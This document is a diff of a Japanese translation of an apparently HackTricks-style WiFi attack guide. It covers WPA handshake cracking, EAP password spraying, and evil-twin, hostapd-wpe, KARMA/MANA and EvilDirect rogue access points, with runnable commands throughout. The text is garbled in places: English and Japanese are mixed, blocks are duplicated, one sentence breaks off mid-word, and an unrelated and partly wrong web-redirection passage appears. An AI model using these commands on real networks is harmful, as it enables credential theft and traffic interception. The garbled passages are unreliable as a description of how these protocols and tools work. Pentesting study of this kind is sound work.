**「PMK Name」の文字列が一定であるため、APとステーションのBSSID、および完全な4ウェイハンドシェイクから取得した「PMK」が同じであることがわかっている場合、hashcatはこれだけでPSKをクラックし、パスフレーズを回復することができます!**\
|
||||
**「PMK Name」文字列が一定であるため、APとステーションのBSSID、および完全な4ウェイハンドシェイクから取得した「PMK」が同じであることがわかっている場合、hashcatはこれだけでPSKをクラックし、パスフレーズを回復することができます!**\
|
||||
[ここ](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)から取得した説明。
|
||||
|
||||
この情報を**収集**し、パスワードをローカルで**ブルートフォース攻撃**するには、次の手順を実行します:
|
||||
|
@ -418,41 +458,20 @@ aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.c
|
|||
```bash
|
||||
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
|
||||
```
|
||||
**tshark**
|
||||
**tshark**は、Wiresharkのコマンドライン版です。tsharkを使用すると、キャプチャファイルを解析し、ネットワークトラフィックの詳細な情報を表示することができます。以下は、tsharkの基本的な使用方法です。
|
||||
|
||||
tshark is a command-line tool for capturing and analyzing network traffic. It is part of the Wireshark suite and provides similar functionality to Wireshark, but without the graphical user interface (GUI).
|
||||
|
||||
tshark can be used to capture packets from a network interface or read packets from a capture file. It supports a wide range of capture filters and display filters to help you focus on specific network traffic.
|
||||
|
||||
To capture packets from a network interface, you can use the following command:
|
||||
|
||||
```
|
||||
tshark -i <interface>
|
||||
```bash
|
||||
tshark -r <キャプチャファイル> [オプション]
|
||||
```
|
||||
|
||||
Replace `<interface>` with the name of the network interface you want to capture packets from, such as `eth0` or `wlan0`.
|
||||
- `-r <キャプチャファイル>`: 解析するキャプチャファイルのパスを指定します。
|
||||
- `[オプション]`: 追加のオプションを指定することができます。例えば、`-Y`オプションを使用してフィルタリング条件を指定することができます。
|
||||
|
||||
To read packets from a capture file, you can use the following command:
|
||||
|
||||
```
|
||||
tshark -r <file>
|
||||
```
|
||||
|
||||
Replace `<file>` with the path to the capture file you want to analyze.
|
||||
|
||||
tshark can also be used to apply display filters to analyze specific packets. For example, you can use the following command to display only HTTP packets:
|
||||
|
||||
```
|
||||
tshark -r <file> -Y http
|
||||
```
|
||||
|
||||
Replace `<file>` with the path to the capture file you want to analyze.
|
||||
|
||||
tshark provides a wide range of options and features for capturing and analyzing network traffic. Refer to the tshark documentation for more information on how to use this powerful tool.
|
||||
tsharkは非常に強力なツールであり、ネットワークトラフィックの解析に役立ちます。キャプチャファイルから情報を抽出するために、tsharkのフィルタリング機能を活用することが重要です。
|
||||
```bash
|
||||
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
|
||||
```
|
||||
[**cowpatty**](https://github.com/roobixx/cowpatty)は、WPA/WPA2のハンドシェイクキャプチャからパスワードを復号化するためのツールです。このツールは、事前共有キー(PSK)を使用して保護されたWi-Fiネットワークのパスワードをクラックするために使用されます。cowpattyは、辞書攻撃やブルートフォース攻撃などのさまざまな攻撃手法を使用して、パスワードを解読します。このツールは、Wi-Fiネットワークのセキュリティ評価やペネトレーションテストにおいて有用です。
|
||||
[**cowpatty**](https://github.com/roobixx/cowpatty)は、WPA-PSKハンドシェイクのオフライン攻撃を実行するためのツールです。このツールは、事前共有キー(PSK)を特定するために、ハンドシェイクキャプチャファイルを使用します。cowpattyは、辞書攻撃やルールベースの攻撃を実行するための高度なオプションを提供します。このツールは、WPAおよびWPA2ネットワークのセキュリティ評価において非常に有用です。
|
||||
```
|
||||
cowpatty -r psk-01.cap -s "ESSID" -f -
|
||||
```
|
||||
|
@ -471,15 +490,15 @@ pyrit -r psk-01.cap analyze
|
|||
```
|
||||
### EAP(拡張認証プロトコル)
|
||||
|
||||
**認証通信**の**骨組み**である**EAP**(拡張認証プロトコル)の上に、サーバーは**認証アルゴリズム**を使用して**クライアント**(**サプリカント**)を認証し、一部の場合ではクライアントがサーバーを認証するためにも使用されます。
|
||||
**認証通信**の**骨組み**であるEAP(拡張認証プロトコル)の上に、サーバーは**認証アルゴリズム**を使用して**クライアント**(スプリカント)を認証し、一部の場合ではクライアントがサーバーを認証するためにも使用されます。
|
||||
|
||||
この場合に使用される主な認証アルゴリズムは次のとおりです:
|
||||
|
||||
- **EAP-GTC**:EAP-PEAPでハードウェアトークンとワンタイムパスワードの使用をサポートするためのEAPメソッドです。MSCHAPv2と似た実装ですが、ピアチャレンジは使用しません。代わりに、パスワードは**平文**でアクセスポイントに送信されます(ダウングレード攻撃に非常に興味深い)。
|
||||
- **EAP-MD-5(メッセージダイジェスト)**:クライアントはパスワードのMD5ハッシュを送信します。**推奨されません**:辞書攻撃に対して脆弱であり、サーバーの認証も行われず、セッションごとの有線同等プライバシー(WEP)キーを生成する方法もありません。
|
||||
- **EAP-TLS(トランスポート層セキュリティ)**:クライアント側とサーバー側の証明書を使用して認証を行い、後続の通信を保護するためにユーザーベースおよびセッションベースのWEPキーを動的に生成するために使用されます。
|
||||
- **EAP-TTLS(トンネル化トランスポート層セキュリティ)**:クライアントとネットワークの**相互認証**を暗号化されたチャネル(またはトンネル)を介して行うだけでなく、ユーザーごとのセッションごとのWEPキーを生成する手段も提供します。EAP-TLSとは異なり、**EAP-TTLSはサーバー側の証明書のみが必要です(クライアントは資格情報を使用します)**。
|
||||
- **PEAP(保護拡張認証プロトコル)**:PEAPは**EAP**プロトコルのようですが、通信を保護するために**TLSトンネル**を作成します。その後、弱い認証プロトコルをEAPの上に使用できます(トンネルによって保護されます)。
|
||||
- **EAP-TTLS(トンネル化トランスポート層セキュリティ)**:暗号化されたチャネル(またはトンネル)を介してクライアントとネットワークの**相互認証**を行うだけでなく、ユーザーごとのセッションごとのWEPキーを生成する手段も提供します。EAP-TLSとは異なり、EAP-TTLSではサーバー側の証明書のみが必要です(クライアントは資格情報を使用します)。
|
||||
- **PEAP(保護拡張認証プロトコル)**:PEAPはEAPプロトコルのようですが、通信を保護するために**TLSトンネル**を作成します。その後、弱い認証プロトコルをEAPの上に使用できます(トンネルによって保護されます)。
|
||||
- **PEAP-MSCHAPv2**:これは広く採用されているため、**PEAP**とも呼ばれます。これはPEAPの上にある脆弱なチャレンジ/レスポンスであるMSCHAPv2です(TLSトンネルによって保護されます)。
|
||||
- **PEAP-EAP-TLSまたはPEAP-TLS**:これは**EAP-TLS**に非常に似ていますが、証明書の交換の前にTLSトンネルが作成されます。
|
||||
|
||||
|
@ -489,7 +508,7 @@ pyrit -r psk-01.cap analyze
|
|||
|
||||
[https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27)を読むと、**EAP**を使用している場合、**「Identity」**メッセージが**サポート**される必要があり、**ユーザー名**は**「Response Identity」**メッセージで**クリア**に送信されます。
|
||||
|
||||
最も安全な認証方法の1つである**PEAP-EAP-TLS**を使用していても、EAPプロトコルで送信される**ユーザー名をキャプチャ**することができます。これを行うには、認証通信をキャプチャします(チャンネル内で`airodump-ng`を開始し、同じインターフェースで`wireshark`を開始)し、パケットを`eapol`でフィルタリングします。**「Response, Identity」**パケットの中に、クライアントの**ユーザー名**が表示されます。
|
||||
最も安全な認証方法の1つである**PEAP-EAP-TLS**を使用していても、EAPプロトコルで送信される**ユーザー名をキャプチャ**することができます。これを行うには、認証通信をキャプチャします(チャネル内で`airodump-ng`を開始し、同じインターフェースで`wireshark`を開始)し、パケットを`eapol`でフィルタリングします。**「Response, Identity」**パケットの中に、クライアントの**ユーザー名**が表示されます。
|
||||
|
||||
![](<../../.gitbook/assets/image (150).png>)
|
||||
|
||||
|
@ -497,7 +516,7 @@ pyrit -r psk-01.cap analyze
|
|||
|
||||
(情報は[こちら](https://www.interlinknetworks.com/app_notes/eap-peap.htm)から取得)
|
||||
|
||||
**EAP-PEAP**および**EAP-TTLS**の両方は、**アイデンティティの非表示**をサポートしています。WiFi環境では、アクセスポイント(AP)は通常、関連付けプロセスの一環としてEAP-Identityリクエストを生成します。匿名性を保持するために、ユーザーのシステム上のEAPクライアントは、リクエストを処理するために十分な情報のみを含む応答を返します。以下の例に示すように。
|
||||
**EAP-PEAP**および**EAP-TTLS**の両方は、**アイデンティティの非公開**をサポートしています。WiFi環境では、アクセスポイント(AP)は通常、関連付けプロセスの一環としてEAP-Identityリクエストを生成します。匿名性を保持するために、ユーザーのシステム上のEAPクライアントは、リクエストを処理するために十分な情報のみを含む応答を返します。以下の例に示すように。
|
||||
|
||||
- _**EAP-Identity = anonymous**_
|
||||
|
||||
|
@ -511,14 +530,14 @@ EAP-PEAPでは、PEAPサーバーとPEAPクライアントがTLSトンネルを
|
|||
|
||||
EAP-TTLSは少し異なる動作をします。EAP-TTLSでは、クライアントは通常、TLSトンネルで保護されたPAPまたはCHAPを介して認証します。この場合、クライアントは、トンネルが確立された後に送信される最初のTLSメッセージにUser-Name属性とPasswordまたはCHAP-Password属性を含めます。
|
||||
|
||||
どちらのプロトコルでも、TLSトンネルが確立されると、PEAP/TTLSサーバーはユーザーの真のアイデンティティを学習します。真のアイデンティティは、_**user@realm**_または単に_**user**_の形式である場合があります。PEAP/TTLSサーバーが_**user**_の認証も行っている場合、ユーザーのアイデンティティがわかり、TLSトンネルで保護されている認証方法を続行します。また、PEAP/TTLSサーバーは、ユーザーのホームRADIUSサーバーに新しいRADIUSリクエストを転送することもできます。この新しいRADIUSリクエストには、PEAPまたはTTLSプロトコルが削除されています。保護された認証方法がEAPである場
|
||||
どちらのプロトコルでも、TLSトンネルが確立されると、PEAP/TTLSサーバーはユーザーの真のアイデンティティを学習します。真のアイデンティティは、_**user@realm**_または単に_**user**_の形式である場合があります。PEAP/TTLSサーバーが_**user**_の認証も行っている場合、ユーザーのアイデンティティがわかり、TLSトンネルで保護されている認証方法を続行します。また、PEAP/TTLSサーバーは、ユーザーのホームRADIUSサーバーに新しいRADIUSリクエストを転送することもできます。この新しいRADIUSリクエストには、PEAPまたはTTLSプロトコルが削除されています。保護された認証方法がEAPである場合、内部のEAPメ
|
||||
### EAP-Bruteforce(パスワードスプレー)
|
||||
|
||||
クライアントが**ユーザー名とパスワード**を使用することが予想される場合(**EAP-TLSはこの場合有効ではありません**)、次の手順で**ユーザー名**の**リスト**と**パスワード**を取得し、[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)を使用してアクセスを**ブルートフォース**することができます。
|
||||
クライアントが**ユーザー名とパスワード**を使用することが予想される場合(**EAP-TLSは無効**になることに注意してください)、次の手順で**ユーザー名**の**リスト**と**パスワード**を取得し、[**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)を使用してアクセスを**ブルートフォース**することができます。
|
||||
```bash
|
||||
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
|
||||
```
|
||||
あなたは`eaphammer`を使用してもこの攻撃を実行することができます。
|
||||
あなたは`eaphammer`を使用して、この攻撃を実行することもできます。
|
||||
```bash
|
||||
./eaphammer --eap-spray \
|
||||
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
|
||||
|
@ -530,7 +549,7 @@ EAP-TTLSは少し異なる動作をします。EAP-TTLSでは、クライアン
|
|||
|
||||
### ネットワークの選択とローミング
|
||||
|
||||
802.11プロトコルは、ステーションがESSに参加する方法を指定する非常に具体的なルールを持っていますが、ステーションがどのESSに接続するかを選択する方法は指定していません。さらに、プロトコルは、同じESSを共有するアクセスポイント間でステーションが自由にローミングできるようにします(建物の一方から他方に移動する際にWiFi接続が失われることは望ましくありません)。ただし、802.11プロトコルはこれらのアクセスポイントがどのように選択されるべきかを指定していません。さらに、ステーションはアクセスポイントに関連付けるためにESSに認証されなければならないが、802.11プロトコルはアクセスポイントがステーションに認証されることを要求していません。
|
||||
802.11プロトコルは、ステーションがESSに参加する方法を指定する非常に具体的なルールを持っていますが、ステーションがどのESSに接続するかを選択する方法は指定していません。さらに、プロトコルは、同じESSを共有するアクセスポイント間でステーションが自由にローミングできるようにします(建物の一方から他方に移動する際にWiFi接続が失われることは望ましくありません)。ただし、802.11プロトコルはこれらのアクセスポイントがどのように選択されるべきかを指定していません。さらに、ステーションはアクセスポイントに関連付けるためにESSに認証されなければなりませんが、802.11プロトコルはアクセスポイントがステーションに認証されることを要求していません。
|
||||
|
||||
### 優先ネットワークリスト(PNL)
|
||||
|
||||
|
@ -538,7 +557,7 @@ EAP-TTLSは少し異なる動作をします。EAP-TTLSでは、クライアン
|
|||
|
||||
### パッシブスキャン
|
||||
|
||||
インフラストラクチャネットワークでは、アクセスポイントは定期的にビーコンフレームを送信して周辺のステーションに存在と機能を広告します。ビーコンはブロードキャストフレームであり、つまり、範囲内のすべての近くのステーションに受信されることを意味します。ビーコンには、APのサポートされるレート、暗号化の機能、追加情報などが含まれており、最も重要なのは、ビーコンフレームにAPのESSIDが含まれていることです(ESSIDのブロードキャストが無効にされていない限り)。
|
||||
インフラストラクチャネットワークでは、アクセスポイントは定期的にビーコンフレームを送信して周辺のステーションに存在と機能を広告します。ビーコンはブロードキャストフレームであり、つまり、範囲内のすべての近くのステーションに受信されることを意味します。ビーコンにはAPのサポートされるレート、暗号化の機能、追加情報などが含まれますが、最も重要なのは、ビーコンフレームにAPのESSIDが含まれていることです(ESSIDのブロードキャストが無効にされていない限り)。
|
||||
|
||||
パッシブスキャン中、クライアントデバイスは近くのアクセスポイントからのビーコンフレームを受信します。クライアントデバイスがPNLのESSIDフィールドと一致するESSIDを持つビーコンフレームを受信した場合、クライアントは自動的にビーコンフレームを送信したアクセスポイントに接続します。次に、現在ワイヤレスに接続されていないワイヤレスデバイスをターゲットにしたい場合、そのクライアントのPNLに少なくとも1つのエントリを知っている場合、そのエントリのESSIDを使用して独自のアクセスポイントを作成するだけで、クライアントを接続させることができます。
|
||||
|
||||
|
@ -546,7 +565,7 @@ EAP-TTLSは少し異なる動作をします。EAP-TTLSでは、クライアン
|
|||
|
||||
802.11で使用される2番目のネットワーク選択アルゴリズムはアクティブプロービングと呼ばれます。アクティブプロービングを使用するクライアントデバイスは、範囲内のAPが何であるか、およびその機能が何であるかを判断するために、継続的にプローブリクエストフレームを送信します。プローブリクエストには、直接指定されたものとブロードキャストされたものの2つの形式があります。直接指定されたプローブリクエストは特定のESSIDに宛てられ、特定のネットワークが近くにあるかどうかをクライアントが確認する方法です。
|
||||
|
||||
直接指定されたプローブリクエストを使用するクライアントは、PNLの各ネットワークに対してプローブリクエストを送信します。なお、直接指定されたプロービングは近くの非表示ネットワークの存在を特定する唯一の方法であることに注意してください。ブロードキャストプローブリクエストはほぼ同じ方法で機能しますが、SSIDフィールドがNULLに設定されています。これにより、ブロードキャストプローブが近くのすべてのアクセスポイントに送信され、ステーションはPNLのいずれかの優先ネットワークが近くにあるかどうかを確認できますが、PNLの内容は明らかにされません。
|
||||
直接指定されたプローブリクエストを使用するクライアントは、PNLの各ネットワークに対してプローブリクエストを送信します。なお、直接指定されたプロービングは近くに隠れたネットワークの存在を特定する唯一の方法であることに注意してください。ブロードキャストプローブリクエストはほぼ同じ方法で機能しますが、SSIDフィールドがNULLに設定されています。これにより、ブロードキャストプローブが近くのすべてのアクセスポイントに送信され、ステーションはPNLの内容を明らかにせずに、好みのネットワークが近くにあるかどうかを確認できます。
|
||||
|
||||
## インターネットへのリダイレクトを備えたシンプルなAP
|
||||
|
||||
|
@ -566,7 +585,7 @@ apt-get install dnsmasq #Manages DHCP and DNS
|
|||
# Specify interface to listen on
|
||||
interface=wlan0
|
||||
|
||||
# Specify the DHCP range
|
||||
# Specify the IP address range for DHCP
|
||||
dhcp-range=192.168.0.100,192.168.0.200,12h
|
||||
|
||||
# Specify the DNS server
|
||||
|
@ -576,7 +595,26 @@ server=8.8.8.8
|
|||
この設定ファイルでは、dnsmasqを使用して以下の設定を行います:
|
||||
|
||||
- リスンするインターフェースを指定します。
|
||||
- DHCPの範囲を指定します。
|
||||
- DHCPのIPアドレス範囲を指定します。
|
||||
- DNSサーバーを指定します。
|
||||
|
||||
```plaintext
|
||||
# dnsmasqの設定ファイルです。
|
||||
|
||||
# リスンするインターフェースを指定します
|
||||
interface=wlan0
|
||||
|
||||
# DHCPのIPアドレス範囲を指定します
|
||||
dhcp-range=192.168.0.100,192.168.0.200,12h
|
||||
|
||||
# DNSサーバーを指定します
|
||||
server=8.8.8.8
|
||||
```
|
||||
|
||||
この設定ファイルでは、dnsmasqを使用して以下の設定を行います:
|
||||
|
||||
- リスンするインターフェースを指定します。
|
||||
- DHCPのIPアドレス範囲を指定します。
|
||||
- DNSサーバーを指定します。
|
||||
```
|
||||
interface=wlan0
|
||||
|
@ -612,7 +650,7 @@ hostapdは、ワイヤレスネットワークのセキュリティをテスト
|
|||
```
|
||||
apt-get install hostapd
|
||||
```
|
||||
以下は、_hostapd.conf_という名前の設定ファイルです:
|
||||
以下は、_hostapd.conf_という名前の設定ファイルです。
|
||||
|
||||
```plaintext
|
||||
interface=wlan0
|
||||
|
@ -630,7 +668,7 @@ wpa_pairwise=TKIP
|
|||
rsn_pairwise=CCMP
|
||||
```
|
||||
|
||||
この設定ファイルを使用して、ホストアクセスポイントを構成することができます。
|
||||
この設定ファイルを使用して、ワイヤレスアクセスポイントを設定することができます。
|
||||
```
|
||||
interface=wlan0
|
||||
driver=nl80211
|
||||
|
@ -657,27 +695,27 @@ hostapd ./hostapd.conf
|
|||
```
|
||||
### フォワーディングとリダイレクション
|
||||
|
||||
Forwarding and redirection are techniques used in web applications to redirect users from one URL to another. These techniques can be used for various purposes, such as improving user experience, handling URL changes, or implementing security measures.
|
||||
Forwarding and redirection are techniques used in web applications to redirect users from one URL to another. These techniques are commonly used for various purposes, such as URL shortening, load balancing, and handling page not found errors.
|
||||
|
||||
#### Forwarding
|
||||
|
||||
Forwarding is the process of redirecting a user's request from one URL to another URL on the server side. This can be done using server-side scripting languages like PHP, Python, or JavaScript.
|
||||
Forwarding is the process of redirecting a user's request from one URL to another URL. This can be done using server-side techniques or client-side techniques.
|
||||
|
||||
There are two types of forwarding:
|
||||
Server-side forwarding is typically done using HTTP status codes, such as 301 (Moved Permanently) or 302 (Found). When a server receives a request for a specific URL, it responds with a status code and the new URL to which the request should be redirected. The client's browser then automatically sends a new request to the new URL.
|
||||
|
||||
1. **Client-side forwarding**: In this type of forwarding, the server sends a response to the client with a new URL, and the client's browser automatically redirects to the new URL. This is achieved using the `Location` header in the HTTP response.
|
||||
|
||||
2. **Server-side forwarding**: In this type of forwarding, the server receives a request from the client and internally forwards it to another URL. The client is unaware of this internal forwarding and continues to interact with the original URL.
|
||||
|
||||
Forwarding can be used for various purposes, such as redirecting users to a different page after a successful login, redirecting users to a mobile version of a website, or redirecting users to a different domain.
|
||||
Client-side forwarding, on the other hand, is done using JavaScript or meta tags. When a user visits a web page, the JavaScript code or meta tag instructs the browser to automatically redirect the user to a different URL.
|
||||
|
||||
#### Redirection
|
||||
|
||||
Redirection is the process of automatically redirecting a user's request from one URL to another URL. This can be achieved using HTTP status codes, such as 301 (Moved Permanently) or 302 (Found), along with the `Location` header in the HTTP response.
|
||||
Redirection is similar to forwarding, but it involves sending the user to a different URL without the user's knowledge. This technique is often used for malicious purposes, such as phishing attacks or URL hijacking.
|
||||
|
||||
Redirection can be used for various purposes, such as handling URL changes, redirecting users from an old website to a new website, or implementing security measures to prevent unauthorized access.
|
||||
There are several methods for performing redirection, including:
|
||||
|
||||
It is important to note that both forwarding and redirection can be misused by attackers to perform phishing attacks or to redirect users to malicious websites. Therefore, it is crucial to implement proper security measures, such as input validation and secure coding practices, to prevent such attacks.
|
||||
- **HTTP Redirection**: This involves using HTTP status codes, such as 301 or 302, to redirect the user's request to a different URL.
|
||||
- **JavaScript Redirection**: This involves using JavaScript code to automatically redirect the user to a different URL.
|
||||
- **Meta Tag Redirection**: This involves using HTML meta tags to instruct the browser to automatically redirect the user to a different URL.
|
||||
|
||||
It is important to note that while forwarding and redirection can be useful for legitimate purposes, they can also be abused for malicious activities. Web application developers and security professionals should be aware of these techniques and implement appropriate security measures to prevent misuse.
|
||||
```bash
|
||||
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
|
||||
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
|
||||
|
@ -685,13 +723,13 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
|
|||
```
|
||||
## イービルツイン
|
||||
|
||||
イービルツイン攻撃は、ほとんどのコンピュータやスマートフォンがワイヤレスネットワークの「名前」またはESSID(拡張サービスセット識別子)しか見ることができないという事実を利用したWi-Fi攻撃の一種です(基地局はクライアントに対して認証を行う必要がないため)。これにより、同じ名前と同じ種類の暗号化を使用するネットワークを区別するのは非常に困難になります。実際には、多くのネットワークでは、ユーザーを混乱させずにアクセスを拡張するために、同じ名前を使用する複数のネットワーク拡張アクセスポイントが存在します。
|
||||
イービルツイン攻撃は、ほとんどのコンピュータやスマートフォンがワイヤレスネットワークの「名前」またはESSIDしか見ることができないという事実を利用したWi-Fi攻撃の一種です(基地局はクライアントに対して認証を行う必要がないため)。これにより、同じ名前と同じ種類の暗号化を使用するネットワークを区別するのは非常に困難になります。実際には、多くのネットワークは、ユーザーを混乱させることなくアクセスを拡張するために、同じ名前を使用する複数のネットワーク拡張アクセスポイントを持っています。
|
||||
|
||||
クライアントの実装方法によって(802.11プロトコルでは、同じESS内のアクセスポイント間を自由にローミングすることが許可されていることを覚えておいてください)、デバイスを接続している基地局を変更することが可能です。これは、より良い信号を提供すること(常に可能ではありません)または元の基地局へのアクセスをブロックすること(認証解除パケット、ジャミング、またはその他のDoS攻撃など)によって行うことができます。
|
||||
クライアントの実装方法によって(802.11プロトコルでは、同じESS内のアクセスポイント間を自由にローミングすることが許可されていることを覚えておいてください)、デバイスを接続している基地局を変更することが可能です。これは、より良い信号を提供すること(常に可能ではありません)または元の基地局へのアクセスをブロックすること(認証解除パケット、ジャミング、またはその他のDoS攻撃)によって行うことができます。
|
||||
|
||||
また、実際のワイヤレス展開では通常、単一のアクセスポイントよりも複数のアクセスポイントがあり、これらのアクセスポイントは天井に向けて配置されるため、より強力で視野範囲が広い場合があります。単一のアクセスポイントを認証解除すると、ターゲットは通常、ローグAPではなく別の有効なアクセスポイントにローミングする結果となります(近くのすべてのアクセスポイントが認証解除される(大音量)場合や、ローグAPの配置に非常に注意する(困難)場合を除く)。
|
||||
また、実際のワイヤレス展開では通常、単一のアクセスポイントよりも複数のアクセスポイントがあり、これらのアクセスポイントは天井に向けて配置されているため、より強力で視野範囲が広い場合があります。単一のアクセスポイントの認証解除は、ターゲットがローグAPではなく別の有効なアクセスポイントにローミングする結果となる場合が多いです(近くのすべてのアクセスポイントが認証解除される(大音量)か、ローグAPの配置に非常に注意する必要がある(困難)場合を除く)。
|
||||
|
||||
次の手順で、非常に基本的なオープンイービルツイン(インターネットへのトラフィックのルーティング機能なし)を作成できます。
|
||||
以下の手順で、非常に基本的なオープンイービルツイン(インターネットへのトラフィックのルーティング機能なし)を作成することができます。
|
||||
```bash
|
||||
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
||||
```
|
||||
|
@ -703,28 +741,28 @@ airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
|
|||
|
||||
![](<../../.gitbook/assets/image (148).png>)
|
||||
|
||||
デフォルトでは、PNLのESSIDがWPAで保護されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPをDoS攻撃し、ユーザーが手動でオープンなEvil Twinに接続することを期待するか、実際のAPをDoS攻撃し、WPA Evil Twinを使用してハンドシェイクをキャプチャすることができます(この方法では、PSKを知らないため、被害者を接続させることはできませんが、ハンドシェイクをキャプチャして解読を試みることができます)。
|
||||
デフォルトでは、PNLに保存されているESSIDがWPAで保護されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPをDoS攻撃し、ユーザーが手動でオープンなEvil Twinに接続することを期待するか、実際のAPをDoS攻撃し、WPA Evil Twinを使用してハンドシェイクをキャプチャすることができます(この方法では、PSKを知らないため、被害者を自分に接続させることはできませんが、ハンドシェイクをキャプチャして解読を試みることができます)。
|
||||
|
||||
_一部のOSとAVは、オープンなネットワークに接続することは危険であるとユーザーに警告する場合があります..._
|
||||
|
||||
### WPA/WPA2 Evil Twin
|
||||
|
||||
**WPA/2を使用したEvil Twin**を作成することができます。デバイスがWPA/2でそのSSIDに接続するように設定されている場合、接続を試みるでしょう。ただし、**4ウェイハンドシェイクを完了するには**、クライアントが使用する**パスワードを知る必要があります**。それを**知らない**場合、**接続は完了しません**。
|
||||
**WPA/2を使用したEvil Twin**を作成することができます。デバイスがWPA/2でそのSSIDに接続するように設定されている場合、接続を試みます。ただし、**4ウェイハンドシェイクを完了するには**、クライアントが使用する**パスワードを知る必要があります**。それを**知らない**場合、**接続は完了しません**。
|
||||
```
|
||||
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
|
||||
```
|
||||
### エンタープライズの偽のツイン
|
||||
### エンタープライズの偽アクセスポイント
|
||||
|
||||
この攻撃を理解するためには、まず[WPAエンタープライズの説明](./#wpa-enterprise-mgt)を読むことをおすすめします。
|
||||
|
||||
**hostapd-wpeの使用**
|
||||
**hostapd-wpeを使用する**
|
||||
|
||||
`hostapd-wpe`は動作するために**設定**ファイルが必要です。これらの設定を自動化するために、[https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad)を使用することができます(_/etc/hostapd-wpe/_内のPythonファイルをダウンロードしてください)。
|
||||
```
|
||||
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
|
||||
hostapd-wpe ./victim/victim.conf -s
|
||||
```
|
||||
設定ファイルでは、ssid、チャネル、ユーザーファイル、証明書/キー、DHパラメータ、WPAバージョン、認証など、さまざまな項目を選択できます...
|
||||
設定ファイルでは、ssid、チャネル、ユーザーファイル、証明書/キー、dhパラメータ、wpaバージョン、認証など、さまざまな項目を選択できます...
|
||||
|
||||
[**EAP-TLSを使用したhostapd-wpeを使用して、任意の証明書でログインを許可する方法**](evil-twin-eap-tls.md)
|
||||
|
||||
|
@ -780,7 +818,7 @@ _hostapd-wpe_の**設定**内で、_**dh\_file**_を含む行を**コメント
|
|||
|
||||
### ESSIDおよびMACのブラック/ホワイトリスト
|
||||
|
||||
次の表は、使用されるときの効果を含むさまざまなタイプのMFACL(Management Frame Access Control Lists)とその効果をリストしています:
|
||||
次の表は、使用されるときの効果を含む、異なるタイプのMFACL(Management Frame Access Control Lists)とその効果をリストしています:
|
||||
|
||||
![](<../../.gitbook/assets/image (149).png>)
|
||||
```
|
||||
|
@ -810,7 +848,7 @@ KARMA攻撃は、ステーションが使用するネットワーク選択プロ
|
|||
|
||||
### MANA
|
||||
|
||||
Ian de VilliersとDominic Whiteによると、現代のステーションは、少なくとも1つのブロードキャストプローブリクエストに既に応答していないアクセスポイントからの指向性プローブレスポンスを無視することで、KARMA攻撃から自己保護するように設計されています。これにより、KARMA攻撃の脆弱性があるステーションの数は大幅に減少しました。しかし、2015年にWhiteとde Villiersは、そのような保護を回避する手段を開発しました。Whiteとde Villiersの改良されたKARMA攻撃(MANA攻撃)では、指向性プローブレスポンスを使用して近くのステーションのPNL(Preferred Network List)を再構築します。ステーションからブロードキャストプローブリクエストが受信されると、攻撃者のアクセスポイントは、そのデバイスのPNLに既に存在する指向性プローブからの任意のSSIDで応答します。
|
||||
Ian de VilliersとDominic Whiteによると、現代のステーションは、少なくとも1つのブロードキャストプローブリクエストに既に応答していないアクセスポイントからの指向性プローブレスポンスを無視することで、KARMA攻撃から自己保護するように設計されています。これにより、KARMA攻撃の脆弱性があるステーションの数は大幅に減少しました。しかし、2015年にWhiteとde Villiersは、そのような保護を回避する手段を開発しました。Whiteとde Villiersの改良されたKARMA攻撃(MANA攻撃)では、指向性プローブレスポンスを使用して近くのステーションのPNL(Preferred Network List)を再構築します。ステーションからブロードキャストプローブリクエストが受信されると、攻撃者のアクセスポイントは、そのデバイスのPNLに既に存在する任意のSSIDで応答します。
|
||||
|
||||
要約すると、MANAアルゴリズムは次のように機能します。アクセスポイントがプローブリクエストを受信するたびに、まずブロードキャストまたは指向性プローブかどうかを判断します。指向性プローブの場合、送信元のMACアドレスがハッシュテーブルに追加されます(まだ存在しない場合)し、ESSIDがそのデバイスのPNLに追加されます。その後、アクセスポイントは指向性プローブレスポンスを返します。ブロードキャストプローブの場合、アクセスポイントはそのデバイスのPNL内の各ネットワークに対してプローブレスポンスを返します。
|
||||
|
||||
|
@ -853,11 +891,11 @@ Wi-Fi Directは、ワイヤレスAPなしでデバイス同士を接続するた
|
|||
|
||||
Wi-Fi Directは、デバイスを安全に接続するためにWi-Fi Protected Setup(WPS)に依存しています。WPSには、**Push-Button** Configuration(PBC)、**PIN entry**、**Near-Field** Communication(NFC)など、複数の設定方法があります。
|
||||
|
||||
したがって、WPS PINに対する以前の攻撃は、ここでも有効です(PINが使用されている場合)。
|
||||
したがって、WPS PINに対する以前に見られた攻撃は、ここでもPINが使用されている場合に有効です。
|
||||
|
||||
### EvilDirectハイジャッキング
|
||||
|
||||
これはEvil-Twinのように機能しますが、Wi-Fi Direct用です。グループオーナーをなりすまして、他のデバイス(例:電話)が自分に接続するように仕向けることができます:`airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
|
||||
これはEvil-Twinのように機能しますが、Wi-Fi Direct用です。グループオーナーをなりすまして、他のデバイス(例:電話)があなたに接続するように試みることができます:`airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
